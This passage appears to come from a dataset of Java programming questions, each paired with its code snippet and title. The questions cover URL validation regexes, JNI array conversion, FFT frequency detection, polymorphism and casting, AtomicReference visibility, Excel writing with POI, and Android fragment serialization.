( String url ) { return new UrlValidator ( ) .isValid ( url ) ; } public void regexTest ( ) { String [ ] URLs = new String [ ] { `` http : //www.google.com '' , `` http : //google.com/ '' , '' *.com '' } ; Pattern REGEX = Pattern.compile ( `` ( ? i ) ^ ( ? : ( ? : https ? |ftp ) : // ) ( ? : \\S+ ( ? : :\\S* ) ? @ ) ? ( ? : ( ? ! ( ? :10|127 ) ( ? : \\.\\d { 1,3 } ) { 3 } ) ( ? ! ( ? :169\\.254|192\\.168 ) ( ? : \\.\\d { 1,3 } ) { 2 } ) ( ? ! 172\\. ( ? :1 [ 6-9 ] |2\\d|3 [ 0-1 ] ) ( ? : \\.\\d { 1,3 } ) { 2 } ) ( ? : [ 1-9 ] \\d ? |1\\d\\d|2 [ 01 ] \\d|22 [ 0-3 ] ) ( ? : \\. ( ? :1 ? \\d { 1,2 } |2 [ 0-4 ] \\d|25 [ 0-5 ] ) ) { 2 } ( ? : \\. ( ? : [ 1-9 ] \\d ? |1\\d\\d|2 [ 0-4 ] \\d|25 [ 0-4 ] ) ) | ( ? : ( ? : [ a-z\\u00a1-\\uffff0-9 ] -* ) * [ a-z\\u00a1-\\uffff0-9 ] + ) ( ? : \\. ( ? : [ a-z\\u00a1-\\uffff0-9 ] -* ) * [ a-z\\u00a1-\\uffff0-9 ] + ) * ( ? : \\. ( ? : [ a-z\\u00a1-\\uffff ] { 2 , } ) ) \\. ? ) ( ? : :\\d { 2,5 } ) ? ( ? : [ / ? # ] \\S* ) ? $ '' ) ; for ( String url : URLs ) { Matcher matcher = REGEX.matcher ( url ) ; if ( matcher.find ( ) ) { System.out.println ( matcher.group ( ) ) ; } } } public void regexValidator ( String str ) { Pattern REGEX = Pattern.compile ( `` '' + `` ( ? i ) ^ ( ? : \\S+ ( ? : :\\S* ) ? @ ) '' + `` ? ( ? : ( ? ! ( ? :10|127 ) ( ? : \\.\\d { 1,3 } ) { 3 } ) ( ? ! ( ? :169\\.254|192\\.168 ) '' + `` ( ? : \\.\\d { 1,3 } ) { 2 } ) ( ? ! 172\\. ( ? :1 [ 6-9 ] |2\\d|3 [ 0-1 ] ) ( ? : \\.\\d { 1,3 } ) { 2 } ) ( ? : [ 1-9 ] \\d ? |1\\d\\d|2 [ 01 ] \\d|22 [ 0-3 ] ) '' + `` ( ? : \\. ( ? :1 ? \\d { 1,2 } |2 [ 0-4 ] \\d|25 [ 0-5 ] ) ) { 2 } ( ? : \\. ( ? : [ 1-9 ] \\d ? |1\\d\\d|2 [ 0-4 ] \\d|25 [ 0-4 ] ) ) | '' //DOMAIN + `` ( ? : ( ? : [ a-z\\u00a1-\\uffff0-9 ] -* ) * [ a-z\\u00a1-\\uffff0-9 ] +|\\* ) '' + `` ( ? : \\. ( ? : [ a-z\\u00a1-\\uffff0-9 ] -* ) * [ a-z\\u00a1-\\uffff0-9 ] + ) * '' // + `` ( ? : \\. ( ? : [ a-z\\u00a1-\\uffff ] { 2 , } ) ) \\. ? ) '' + `` ( ? : :\\d { 2,5 } ) ? ( ? : [ / ? # ] \\S* ) ? $ '' ) ; Matcher _matcher = REGEX.matcher ( str ) ; if ( _matcher.find ( ) ) { System.out.println ( `` [ O ] `` + str ) ; } else { System.out.println ( `` [ X ] '' + str ) ; } } public void validate ( ) { System.out.println ( `` TEST START '' ) ; this.regexValidator ( `` https : //www.google.com '' ) ; this.regexValidator ( `` www.google.com '' ) ; this.regexValidator ( `` google.com '' ) ; this.regexValidator ( `` *.google.com '' ) ; this.regexValidator ( `` *.com '' ) ; System.out.println ( `` DONE '' ) ; }","how can I validate URL ( domain ) allowing wildcard ( * , % ) in java" +Java,"I 'm trying to walk through this solution , but it is confusing me . Why does n't it always result as null since at the end front will equal null .","public static Node deleteAll ( Node front , String target ) { if ( front == null ) { return null ; } if ( front.data.equals ( target ) ) { return deleteAll ( front.next , target ) ; } front.next=deleteAll ( front.next , target ) ; return front ; }",Recursively remove all occurrences of an item in a linked list +Java,"I 'm using a third party C++ API for my project and it has functions with return values with types std : :vector < int > , std : :vector < bool > , std : :vector < double > . I need to pass variables with these types to Java . So I 'm using JNI and my function has return values with types jintArray , jbooleanArray , jdoubleArray.I 'm using following code to convert double type : I 've no problem with this code block . But when I want to do this for int and bool types there is a problem at the following : andThe problem is with definitions of jint and jboolean , since : and for jdouble : As , you can see my convenient solution for double does n't work for int and bool types since their typedefs does n't match.So , my question is how can I do this conversion for all primitive types conveniently ? Thanks in advance","std : :vector < double > data ; //fill datajdouble *outArray = & data [ 0 ] ; jdoubleArray outJNIArray = ( *env ) .NewDoubleArray ( data.size ( ) ) ; // allocateif ( NULL == outJNIArray ) return NULL ; ( *env ) .SetDoubleArrayRegion ( outJNIArray , 0 , data.size ( ) , outArray ) ; // copyreturn outJNIArray ; std : :vector < int > data ; //fill datajint *outArray = & data [ 0 ] ; std : :vector < bool > data ; //fill datajboolean *outArray = & data [ 0 ] ; typedef long jint ; typedef unsigned char jboolean ; typedef double jdouble ;",convert c++ primitive type vector to java primitive type array +Java,"I 'm getting wrong frequency , I do n't understand why i 'm getting wrong values.since i have calculating as per instructions followed by stackoverflow.I 've used FFT fromhttp : //introcs.cs.princeton.edu/java/97data/FFT.java.htmland complex fromhttp : //introcs.cs.princeton.edu/java/97data/Complex.java.htmli 'm getting values like 21000,18976,40222,30283 etc ... Please help me ... ..Thank you..","audioRec.startRecording ( ) ; audioRec.read ( bufferByte , 0 , bufferSize ) ; for ( int i=0 ; i < bufferSize ; i++ ) { bufferDouble [ i ] = ( double ) bufferByte [ i ] ; } Complex [ ] fftArray = new Complex [ bufferSize ] ; for ( int i=0 ; i < bufferSize ; i++ ) { fftArray [ i ] =new Complex ( bufferDouble [ i ] ,0 ) ; } FFT.fft ( fftArray ) ; double [ ] magnitude=new double [ bufferSize ] ; for ( int i=0 ; i < bufferSize ; i++ ) { magnitude [ i ] = Math.sqrt ( ( fftArray [ i ] .re ( ) *fftArray [ i ] .re ( ) ) + ( fftArray [ i ] .im ( ) *fftArray [ i ] .im ( ) ) ) ; } double max = 0.0 ; int index = -1 ; for ( int j=0 ; j < bufferSize ; j++ ) { if ( max < magnitude [ j ] ) { max = magnitude [ j ] ; index = j ; } } final int peak=index * sampleRate/bufferSize ; Log.v ( TAG2 , `` Peak Frequency = `` + index * sampleRate/bufferSize ) ; handler.post ( new Runnable ( ) { public void run ( ) { textView.append ( `` -- - '' +peak+ '' -- - '' ) ; } } ) ;",Wrong values in calculating Frequency using FFT +Java,I saw some codes in slf4j as show below . I do n't know why to avoid constant folding in here . Is it necessary to do that ? or just best practice . what 's the benefit of doing this ? Thanks .,"/** * Declare the version of the SLF4J API this implementation is compiled against . * The value of this field is usually modified with each release . */// to avoid constant folding by the compiler , this field must *not* be finalpublic static String REQUESTED_API_VERSION = `` 1.6 '' ; // ! final**",why to avoid constant folding in Java ? When ? +Java,"I am implementing a simple version of the Cluedo game.There are 3 types of cards in the game , Character , Weapon and Room . Since one card is nothing more than a String ( i.e no functionality or information other than the name is stored in a card ) , I chose not to have a Card interface and each type extends Card . Rather I had three enums in my game which are : However there is one case where three types of cards are put together and dealt evenly to each player of the game . For example , one player may have a hand of 2 Characters , 2 Weapons and 1 Room , another player may have 3 Rooms and 2 Characters , so long the total number of cards are even it does n't matter what type that is.And that 's why I wonder if there is a way to randomly choose one single value from all three enums in Java ? Or I should n't do this three enums thing in the first place ? ( Badly designed )","public enum Character { Scarlett , Mustard , White , Green , Peacock , Plum ; } public enum Weapon { Candlestick , Dagger , LeadPipe , Revolver , Rope , Spanner ; } public enum Room { Kitchen , Ballroom , Conservatory , BilliardRoom , Library , Study , Hall ; }",Java get a random value from 3 different enums +Java,"I give lessons on the fundamentals of the Java programming language , to students who study this subject in college.Today one of them got me really confused with her question , so I told her to give me just a day to think about the problem , and I 'll give her as accurate of an answer as I can.She told me that the teacher got really angry when she used the keyword instanceof in her exam.Also , she said that the teacher said that there is not a way to prove how polymorphism worked if she used that word.I thought a lot to try to find a way to prove that in some occasions we need to use instanceof , and also that even if we use it , there still some polymorphism in that approach.So this is the example I made : My conclusions are the following : The first approach ( APPROACH 1 ) is a simple demo of how to program to an interface , not a realization . I think that the polymorphism is clearly visible , in the parameters of the method makeItTalk ( Animal animal ) , and also in the way the method talk is called , by using the animal object . ( This part is ok ) The second part is the one that makes me confused . She used instanceof at some point in her exam ( I do n't know how their exam looked like ) , and that was not accepted correctly because the teacher said , you are not proving polymorphism.To help her understand when she can use instanceof , I thought about telling her , that she can use it , when the method she needs to call is not in the interface , but it is just in one of the implementing classes.As you can see , only cats can climb to trees , and it would not be logical to make a Hippopotamus or a Dog climb to a tree . I think that could be an example of when to use instanceofBut what about polymorphism in approach 2 ? How many uses of polymorphism do you see there ( only approach 2 ) ? Do you think this line has some type of polymorphism in it ? ( ( Cat ) animal ) .climbToATree ( ) ; I think it does , because in order to achieve a Casting of this type , the objects need to have an IS-A relationship , an in some way that is polymorphism.What do you think , is it correct ? If yes , how would you explain with your own words , that casting relies on polymorphism ?","public interface Animal { public void talk ( ) ; } class Dog implements Animal { public void talk ( ) { System.out.println ( `` Woof ! `` ) ; } } public class Cat implements Animal { public void talk ( ) { System.out.println ( `` Meow ! `` ) ; } public void climbToATree ( ) { System.out.println ( `` Hop , the cat just cimbed to the tree '' ) ; } } class Hippopotamus implements Animal { public void talk ( ) { System.out.println ( `` Roar ! `` ) ; } } public class Main { public static void main ( String [ ] args ) { //APPROACH 1 makeItTalk ( new Cat ( ) ) ; makeItTalk ( new Dog ( ) ) ; makeItTalk ( new Hippopotamus ( ) ) ; //APPROACH 2 makeItClimbToATree ( new Cat ( ) ) ; makeItClimbToATree ( new Hippopotamus ( ) ) ; } public static void makeItTalk ( Animal animal ) { animal.talk ( ) ; } public static void makeItClimbToATree ( Animal animal ) { if ( animal instanceof Cat ) { ( ( Cat ) animal ) .climbToATree ( ) ; } else { System.err.println ( `` That animal can not climb to a tree '' ) ; } } }","Doubts about the use of polymorphism , and also about how is polymorphism related to casting ?" +Java,output : Why ? What is the logic ?,public class Test { public static void main ( String ... args ) { int i=010 ; System.out.print ( i ) ; } } 8,Why does this output 8 ? +Java,"Does Java guarantee that updates to array elements done by thread A before storing the array reference in an AtomicReference will be always visible to thread B that obtains this reference ? In other words , what are the possible outputs of executing this : can the above only print either [ first ] or [ first , second ] , or is it also possible to get results like [ first , null ] or [ null , null ] ? The javadoc for java.util.concurrent.atomic states : compareAndSet and all other read-and-update operations such as getAndIncrement have the memory effects of both reading and writing volatile variables.which seems to not make any guarantees for the non-volatile elements of the array , only the array reference itself .","class References { AtomicReference < String [ ] > refs = new AtomicReference < > ( new String [ ] { `` first '' } ) ; public void add ( String s ) { refs.updateAndGet ( oldRefs - > { String [ ] newRefs = new String [ oldRefs.length + 1 ] ; System.arraycopy ( oldRefs , 0 , newRefs , 0 , oldRefs.length ) ; newRefs [ oldRefs.length ] = s ; return newRefs ; } ) ; } public static void main ( String [ ] args ) { References r = new References ( ) ; new Thread ( ( ) - > r.add ( `` second '' ) ) .start ( ) ; System.out.println ( Arrays.toString ( r.refs.get ( ) ) ) ; } }",AtomicReference to array and array element changes visibility +Java,We have to write this line with the extension .java although its extension is .kt I think Kotlin file converts into the java file but the java also converts in byte code so we can also use .class file If the Kotlin code converts into the java code.NextActivity : :class.java to NextActivity : :class.kt //not workedSo the question is why we write the .java in NextActivity : :class.javaQuestion arises from here .,"btn ? .setOnClickListener { startActivity ( Intent ( this , NextActivity : :class.java ) ) }",Why we write NextActivity : :class.java although this is a kotlin class ? +Java,In java bytecode why is the receiver is pushed onto the stack first followed by all the parameters ? I seem to remember it being something to do with efficiency.This is true for both method calls and setting fields.Method CallMain method compiles to : Setting a field : Main method compiles to :,class X { int p ( int a ) { //Do something } int main ( ) { int ret = p ( 1 ) ; } } aload_0 // Load this onto the stackiconst_1 // Load constant 1 onto the stackinvokevirtual < int p ( int ) > from class X class X { int x ; int main ( ) { x = 1 ; } } aload_0 // Load this onto the stackiconst_1 // Load constant 1 onto the stackputfield < int x > from class X,Java Byte Code ordering of this and parameters on the stack +Java,"I am trying to sort two different ArrayLists of objects by a specific atribute ( 'Student ' objects by `` program '' and 'Professor ' objects by `` faculty '' ) . Both classes extend my abstract 'Person ' class.Then , when I create an array of 1000000 random 'Person ' objects than can be Students or Professors , I decide to sort it alphabetically by their name like this ( which works properly ) .Then , I divide the original Person array into two ArrayLists , one for Student objects and another for Professor objects : The problem comes when i try to sort each ArrayList alphabetically by the atribute I want , since it keeps sorting them by the name of the Person : Here I leave my Student and Professor classes : Professor class : What am I doing wrong ? I thought if I call `` Collections.sort ( ) '' on an ArrayList of Student objects it would use the `` compareTo ( ) '' method from my Student class , which uses the `` program '' atribute . I 'm still learning to work with these methods so there is something I 'm not getting .","public abstract class Person implements Comparable < Person > { private String name ; private String adress ; //getters , setters , etc. , all works properly @ Override protected Object clone ( ) throws CloneNotSupportedException { return super.clone ( ) ; } public int compareTo ( String string ) { return name.compareTo ( string ) ; } } Person personByName [ ] = arrayPersonas.clone ( ) ; Arrays.sort ( personByName ) ; ArrayList < Student > studentsByProgram = new ArrayList ( ) ; ArrayList < Professor > professorsByFaculty = new ArrayList ( ) ; for ( int i = 0 ; i < 1000000 ; i++ ) { if ( arrayPersonas [ i ] instanceof Student ) { studentsByProgram.add ( ( Student ) arrayPersonas [ i ] ) ; } else { professorsByFaculty.add ( ( Professor ) arrayPersonas [ i ] ) ; } } Collections.sort ( studentsByProgram ) ; Collections.sort ( professorsByFaculty ) ; public class Student extends Person { private String program ; private int year ; private double fee ; //constructor , setters , getters , toString , equals @ Override protected Object clone ( ) throws CloneNotSupportedException { return super.clone ( ) ; } public int compareTo ( String string ) { return program.compareTo ( string ) ; } @ Override public int compareTo ( Person t ) { return super.compareTo ( t.getName ( ) ) ; } } public class Professor extends Person { private String faculty ; private double salary ; //constructor , setters , getters , toString , equals @ Override protected Object clone ( ) throws CloneNotSupportedException { return super.clone ( ) ; } public int compareTo ( String string ) { return faculty.compareTo ( string ) ; } @ Override public int compareTo ( Person t ) { return super.compareTo ( t.getName ( ) ) ; } }",Java Collections.sort ( ) not sorting as expected +Java,"Possible Duplicate : Type-parameterized field of a generic class becomes invisible after upgrading to Java 7 When building against JDK 1.6 this compiles just fine but against 1.7 there is a compiler error in genericMethod ( ) : The field Test._canYouSeeMe is not visibleThe error can be resolved by making _canYouSeeMe protected rather than private , but I 'm just wondering what has changed from 1.6 to 1.7",public class Test { private String _canYouSeeMe = `` yes '' ; < T extends Test > void genericMethod ( T hey ) { String s = hey._canYouSeeMe ; } void method ( Test hey ) { String s = hey._canYouSeeMe ; } },Why is a parameter 's private field visible to a generic method in Java 6 but not in Java 7 ? +Java,"It seems common practice to extract a constant empty array return value into a static constant . Like here : Presumably this is done for performance reasons , since returning new String [ 0 ] directly would create a new array object every time the method is called – but would it really ? I 've been wondering if there really is a measurable performance benefit in doing this or if it 's just outdated folk wisdom . An empty array is immutable . Is the VM not able to roll all empty String arrays into one ? Can the VM not make new String [ 0 ] basically free of cost ? Contrast this practice with returning an empty String : we 're usually perfectly happy to write return `` '' ; , not return EMPTY_STRING ; .",public class NoopParser implements Parser { private static final String [ ] EMPTY_ARRAY = new String [ 0 ] ; @ Override public String [ ] supportedSchemas ( ) { return EMPTY_ARRAY ; } // ... },Performance benefits of a static empty array instance +Java,"I 'm looking for a way to retrieve ( at runtime ) the fields of a class in source-order , so that I can perform my own `` initialization processing '' which is to be based on the order of declaration . I know that Javadoc for Class.getDeclaredFields ( ) explicitly states that no order is guaranteed.Some answers on SO point to Javassist but I can find no evidence that javassist has any such guarantee in the absence of line number information.Yet this `` source-order '' is used by the Java compiler , as this code does not compile : Clearly , the value of b is n't known at the moment a is being declared.This initialization order must also be present in the bytecode since at runtime the initialization must happen in the same order ( granted , this is only a requirement for these edge cases : - ( Yet this leads me to think that the natural thing would be to store the source order inside the .class file . Questions : How does the JVM/Byte Code go about initializing member fields in declared order , and can this information perhaps be used to reconstruct source-order of fields ? Is there any other guaranteed way of achieving the same . Third-party tools like Javassist are OK but it must be `` guaranteed '' or at least `` guaranteed under specific conditions '' .Is there any specific Java implementation that does guarantee order on Class.getDeclaredFields ( ) ( perhaps under specific conditions ( which ones ) ) ? For your information , I need the source order to reconstruct behavior of a legacy language where order was important . I do n't like adding order explicitly e.g . by adding arrays or annotations , as I want to keep the source as readable as possible. -- edit -- An important note may be that the fields I need to `` traverse '' will all be annotated , e.g . @ MyComplexType ( len = 4 ) . The parent class will need this meta-information to construct a kind of memory map . Yet I do n't want to clutter this annotation with ordering information , as I find this hinders readability and maintainability .",private int a = 10 * b ; private int b = 5 ;,A guaranteed way to get source-order of member fields at runtime ? +Java,"Why does this code work ? And why does this throw an exception ? But the strangest thing is that this code also runs successfully without any exceptions : It seems that the ternary operator of Java changes the behaviour . Can anyone explain why this is , please ?",Float testFloat = null ; Float f = true ? null : 0f ; Float testFloat = null ; Float f = true ? testFloat : 0f ; Float testFloat = null ; Float f = testFloat ;,Strange Java behaviour . Ternary operator +Java,"I have some code written using Java 8 features , which means streams and lambdas . Now , I have to reuse such code in a project that uses Java 7 . Is there the possibility to automatically refactor the code using IntelliJ ? For example , I have to refactor some code that looks like the following , into a simple for / while loop .",Arrays.stream ( values ) .distinct ( ) .limit ( 2 ) .count ( ) ;,Downgrade Java 8 streams to Java 7 loops in Intellij IDEA +Java,"Imagine a Person class with a boolean flag indicating whether or not the person is employable - set to false by default.Now imagine having some external boolean methods which act on Person objects . For example , consider static boolean methods in a utility class.Boolean static methods are in essence analogous to boolean valued functions i.e . predicates . We can construct a 2^ ( # predicates ) -by- # predicates truth table out of predicates . For example , given three predicates : ofWorkingAge , ofGoodCharacter , isQualified we can construct the following 8-by-3 truth table : We now want to employ people with desirable qualities . Let + indicate that we wish to consider somebody employable ( i.e . set their employability flag to true ) and - the opposite.Now imagine having a collection of Person objects . For each person we adjust their employability flag according to the three predicates . We also update a count ( this forces us to use the entire truth table instead of just the positives ) , so that given 1,000 people we want to end up with something like : Presumably this can be thought of as filtering with truth tables . Setting employability flags and updating counts is a rather contrived example but you can easily see how we might instead want to set and update much more complicated things . QUESTIONIs there a way of elegantly doing this ? I can think of two solutions : Clunky solutionHave a giant hand coded if , else if , else chain . This is just bad.Slightly smarter solutionPass predicates ( perhaps in an array ) and a collection of sentences to a method . Let the method generate the corresponding truth table . Loop over the people , set their employability , and return an array of counts . I can see how things could be done with functional interfaces . This SO answer is potentially relevant . You could change PrintCommand to IsQualified and pass callCommand a Person instead of a string . But this also seems kindah clunky because we 'd then have to have a new interface file for every predicate we come up with . Is there any other Java 8-ish way of doing this ?",public class Person { boolean employable = false ; ... } public class PersonUtil { public static boolean ofWorkingAge ( Person p ) { if ( p.getAge ( ) > 16 ) return true ; return false ; } ... } T T TT T FT F TT F FF T TF T FF F TF F F T T T | +T T F | +T F T | +T F F | -F T T | +F T F | -F F T | -F F F | - T T T | + 100T T F | + 200T F T | + 50T F F | - 450F T T | + 50F T F | - 50F F T | - 50F F F | - 50 if ( ofWorkingAge & & ofGoodCharacter & & isQualified ) { c1++ ; p.setEmployable ( true ) } else if ( ofWorkingAge & & ofGoodCharacter & & ! isQualified ) { c2++ ; p.setEmployable ( true ) } ... else if ( ! ofWorkingAge & & ! ofGoodCharacter & & isQualified ) { c7++ ; } else { c8++ ; },Filtering with truth tables +Java,"While looking at the source code of the Comparators class , I came across these lines of code.I think I understand what this does.It 's a Singleton instance which implements the Comparator interface.It uses the `` compareTo '' of classes that implement the Comparable interface for natural ordering ( please correct me if I am wrong in any of this ) .What I do not understand however , why is it done using an enum . I really like enums for Singletons , do n't get me wrong but in this case I personally think this would have been simpler : Are there any reasons to implement this using enums aside from personal preference ?","class Comparators { // ... enum NaturalOrderComparator implements Comparator < Comparable < Object > > { INSTANCE ; @ Override public int compare ( Comparable < Object > c1 , Comparable < Object > c2 ) { return c1.compareTo ( c2 ) ; } @ Override public Comparator < Comparable < Object > > reversed ( ) { return Comparator.reverseOrder ( ) ; } } // ... } public static final Comparator < Comparable < Object > > NATURAL_ORDER_COMPARATOR = new Comparator < Comparable < Object > > ( ) { @ Override public int compare ( Comparable < Object > c1 , Comparable < Object > c2 ) { return c1.compareTo ( c2 ) ; } // ... }",Singleton of Java functional interface as enum +Java,"In general , is there a performance difference between these two pieces of code ? Variant 2 is obviously yucky and should be avoided , but I 'm curious if there are any performance optimizations built into the mainstream ( heh , mainstream ) implementations of Stream that would result in a performance difference between these two.I imagine that because the stream has strictly more information about the situation , it would have a better opportunity to optimize . E.g . I imagine if this had a findFirst ( ) call tacked on , it would elide the sort , in favor of a min operation .",List < Integer > list1 = someStream1.sorted ( ) .collect ( toList ( ) ) ; // vs.List < Integer > list2 = someStream2.collect ( toList ( ) ) ; list2.sort ( Comparator.naturalOrder ( ) ),"Stream.sorted ( ) then collect , or collect then List.sort ( ) ?" +Java,I 'm reading https : //jersey.github.io/documentation/latest/filters-and-interceptors.html and http : //www.dropwizard.io/1.1.4/docs/manual/core.html # jersey-filters to try and make this : Not needed in each and every resource GET method of my web app . userData is json data from a cookie with fields like `` name '' and `` id '' and userAgent is the full User-Agent string from the header . For each view I pass in : The getName function parses the json and returns just the name field and the isMobile function returns a true boolean if the string `` mobile '' is found.I use this in each view of the app in FreeMarker to display the user 's name and to change some layout stuff if mobile is true.Is there a way to make this less repetitive ? I 'd rather use a BeforeFilter to just set this automatically each time .,"@ CookieParam ( `` User-Data '' ) userData : String , @ HeaderParam ( `` User-Agent '' ) userAgent : String , AppUser.getName ( userData ) , AppUser.isMobile ( userAgent )",Jersey filter in Dropwizard to set some global FreeMarker variables +Java,"In my tiny little standalone Java application I want to store information.My requirements : read and write java objects ( I do not want to use SQL , and also querying is not required ) easy to useeasy to setupminimal external dependenciesI therefore want to use jaxb to store all the information in a simple XML-file in the filesystem . My example application looks like this ( copy all the code into a file called Application.java and compile , no additional requirements ! ) : How can I overcome these downsides ? Starting the application multiple times could lead to inconsistencies : Several users could run the application on a network drive and experience concurrency issuesAborting the write process might lead to corrupted data or loosing all data","@ XmlRootElementclass DataStorage { String emailAddress ; List < String > familyMembers ; // List < Address > addresses ; } public class Application { private static JAXBContext jc ; private static File storageLocation = new File ( `` data.xml '' ) ; public static void main ( String [ ] args ) throws Exception { jc = JAXBContext.newInstance ( DataStorage.class ) ; DataStorage dataStorage = load ( ) ; // the main application will be executed here // data manipulation like this : dataStorage.emailAddress = `` me @ example.com '' ; dataStorage.familyMembers.add ( `` Mike '' ) ; save ( dataStorage ) ; } protected static DataStorage load ( ) throws JAXBException { if ( storageLocation.exists ( ) ) { StreamSource source = new StreamSource ( storageLocation ) ; return ( DataStorage ) jc.createUnmarshaller ( ) .unmarshal ( source ) ; } return new DataStorage ( ) ; } protected static void save ( DataStorage dataStorage ) throws JAXBException { jc.createMarshaller ( ) .marshal ( dataStorage , storageLocation ) ; } }",Minimal code to reliably store java object in a file +Java,"I have a Listview with EditTexts in every cell . Whenever I add text to the point that the EditText grows 1 line , the ListView scrolls to the top ( and usually removes the EditText from view by doing so ) .I found a few questions about this but they only seem to have `` hacks '' as answers and nothing that works for me.ListView scrolls to top when typing in multi-line EditTextListview with edittext - auto scroll on `` next '' EDIT : After a lot of research , I have found that it is because the editText is resizing , causing the ListView layout its subviews and then resetting to the top . I want to find a way for the EditText to grow while staying at the same place.I tried this because of a suggestion I found online but , even though it keeps the ListView at the right height , it clears the focus from the EditText and I can not seem to get it back with requestFocus . So what I would need is either : Have a way for the ListView to not scroll automatically to the top when the subviews are being layed out again or A way to focus my EditText after having called ListView.setSelected ( ) or 3 . Have another way to scroll the ListView that will not clear focus from the EditText.For option I have tried scrollTo ( ) and smoothScrollToPosition ( ) . scrollTo for some reason works but hides certain items from the ListView ( they become invisible , not loaded ) . And smoothScrollToPosition ( ) creates an animation where the ListView jumps to the top and then it brings the user back to the Item ( and does it 2 or 3 times ) .","private Stirng getTextWatcher ( ) { return new TextWatcher ( ) { @ Override public void beforeTextChanged ( CharSequence s , int start , int count , int after ) { } @ Override public void onTextChanged ( CharSequence s , int start , int before , int count ) { } @ Override public void afterTextChanged ( Editable s ) { listView.setSelection ( index ) ; } } }",ListView Scrolls to Top when EditText Grows +Java,"I use PDFClown .jar library in order to convert jpeg images to pdf files . However , I get the below error : java.lang.RuntimeException : java.io.EOFExceptionHere you can find the code : Please let me know what is wrong ?","org.pdfclown.documents.contents.entities.Image image = org.pdfclown.documents.contents.entities.Image.get ( `` c : '' + java.io.File.separator + `` bg.jpg '' ) ; org.pdfclown.documents.contents.xObjects.XObject imageXObject = image.toXObject ( document ) ; composer.showXObject ( imageXObject ) ; composer.flush ( ) ; document.getFile ( ) .save ( `` c : \\test.pdf '' , SerializationModeEnum.Standard ) ;",How to add picture to pdf file using PDFClown +Java,"Suppose two following counter implementations : At first glance atomics should be faster and more scalable . And they are , I believe . But are they faster than synchronized blocks all the time ? Or some situations exists when this rule is broken ( e.g . SMP/Single CPU machine , different CPU ISA , OS'es etc . ) ?",class Counter { private final AtomicInteger atomic = new AtomicInteger ( 0 ) ; private int i = 0 ; public void incrementAtomic ( ) { atomic.incrementAndGet ( ) ; } public synchronized void increment ( ) { i++ ; } },Can synchronized blocks be faster than Atomics ? +Java,"For each method , I want to add a space between the method name and the right curly bracket . For example , I want a space between ) and { . Is it possible to automatically set this in Eclipse or somewhere ? It 's annoying to add this space every time .",public void setName ( String name ) { },Java coding style in Eclipse +Java,"I have decompiled a class with javap and I 'm seeing some duplicates in the Constant Pool section , like this : Methodrefs refer to only one of them : Is this class correct according to The class File Format ? I thought that every Class is mentioned just once and referred later by it 's index in the bytecode part.An other strange thing is in the source of the class representing the Constant Pool in javac Pool.java . This states that it will not put an object into the the pool if it is already there ( with a help of a HashMap ) . I wonder if the equals ( ) /hashCode ( ) methods of these classes are implmented correctly .",# 19 = Class # 350 // java/lang/StringBuilder ... Some other class constants here # 318 = Class # 350 // java/lang/StringBuilder # 20 = Methodref # 19. # 351 // java/lang/StringBuilder . `` < init > '' : ( ) V # 22 = Methodref # 19. # 353 // java/lang/StringBuilder.append : ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; # 24 = Methodref # 19. # 355 // java/lang/StringBuilder.append : ( Ljava/lang/Object ; ) Ljava/lang/StringBuilder ; # 25 = Methodref # 19. # 356 // java/lang/StringBuilder.toString : ( ) Ljava/lang/String ; # 110 = Methodref # 19. # 445 // java/lang/StringBuilder.append : ( I ) Ljava/lang/StringBuilder ; $ javac -versionjavac 1.7.0_15,Java class constant pool duplicates ? +Java,I am having trouble writing data to an excel sheet . My other part of the program will generate an ArrayList of Objects and send it to this loop . This loop reads one object after the other and writes to the Excel sheet.I know I am missing something . It writes only the last object from the List.If I try placing this code inside the while loop : Then it writes only the first record to the file.Can anyone help me where I am doing wrongHere is the code that writes the data :,FileOutputStream out = new FileOutputStream ( writeExcel ) ; writeExtraBook.write ( out ) ; out.close ( ) ; String writeExcel = CONSTANTS.FOW_FILE_PATH ; FileInputStream writeInput ; try { writeInput = new FileInputStream ( writeExcel ) ; /** Create a POIFSFileSystem object **/ POIFSFileSystem mywriteSystem = new POIFSFileSystem ( writeInput ) ; HSSFWorkbook writeExtraBook = new HSSFWorkbook ( mywriteSystem ) ; HSSFSheet myExtrasSheet = writeExtraBook.getSheet ( `` FOW '' ) ; HSSFRow extraRow = null ; HSSFCell extraRowCell = null ; int lastRowNumber = myExtrasSheet.getLastRowNum ( ) ; Iterator < FoWForm > iter = fowList.iterator ( ) ; while ( iter.hasNext ( ) ) { extraRow = myExtrasSheet.createRow ( lastRowNumber + 1 ) ; FoWForm form = iter.next ( ) ; extraRowCell = extraRow.createCell ( 0 ) ; extraRowCell.setCellValue ( lastRowNumber + 1 ) ; extraRowCell = extraRow.createCell ( 1 ) ; extraRowCell.setCellValue ( form.getFowDesc ( ) ) ; extraRowCell = extraRow.createCell ( 2 ) ; extraRowCell.setCellValue ( form.getForCountry ( ) ) ; extraRowCell = extraRow.createCell ( 3 ) ; extraRowCell.setCellValue ( form.getMatchId ( ) ) ; extraRowCell = extraRow.createCell ( 4 ) ; extraRowCell.setCellValue ( form.getAgainstCountry ( ) ) ; } FileOutputStream out = new FileOutputStream ( writeExcel ) ; writeExtraBook.write ( out ) ; out.close ( ) ; } catch ( FileNotFoundException e1 ) { // TODO Auto-generated catch block e1.printStackTrace ( ) ; },"Either it writes the first Record or Last Record of the list , any suggestions to get it right" +Java,"I have 5 fragments inside my activity where one fragment stays active at one time . Clicking on a recyclerview item opens another fragment and puts current fragment in the backstack . The same code was working fine some days ago , but now the app is throwing NotSerializableException whenever I click the home button to put the app in background . I have tried putting the initializing the variables inside onStart and then giving the null value in onStop but that did n't work . Fragment Code : } Exception : Note : The weird thing is that one of fragment has the exact same code and is hosted inside the same activity , but when that fragment is active and app goes to background , interestingly the app is not crashing . **Exam Model Class : package in.crazybytes.bankmaniaadmin.models ; } Paper Model Class } Subject Model Class : }","public class PaperListFragment extends Fragment implements Serializable { private static final String TAG = `` PaperListFragment '' ; private static final String QUESTIONS_FRAGMENT_TAG = `` questions_fragment '' ; private static final String ADD_PAPER_FRAGMENT_TAG = `` add_paper_fragment '' ; private OnFragmentActiveListener mOnFragmentActiveListener ; private TextView mHeadingText ; private Bundle mOutState ; private FirebaseAuth mAuth ; private DatabaseReference mDatabaseReference ; private ProgressBar mProgressBar ; private OnItemClickListener mOnItemClickListener ; private FloatingActionButton mFab ; private RecyclerView mRecyclerViewPaper ; private ArrayList < Paper > mPaperList = new ArrayList < > ( ) ; private Subject mSubject = new Subject ( ) ; private Exam mExam = new Exam ( ) ; @ Nullable @ Overridepublic View onCreateView ( @ NonNull LayoutInflater inflater , @ Nullable 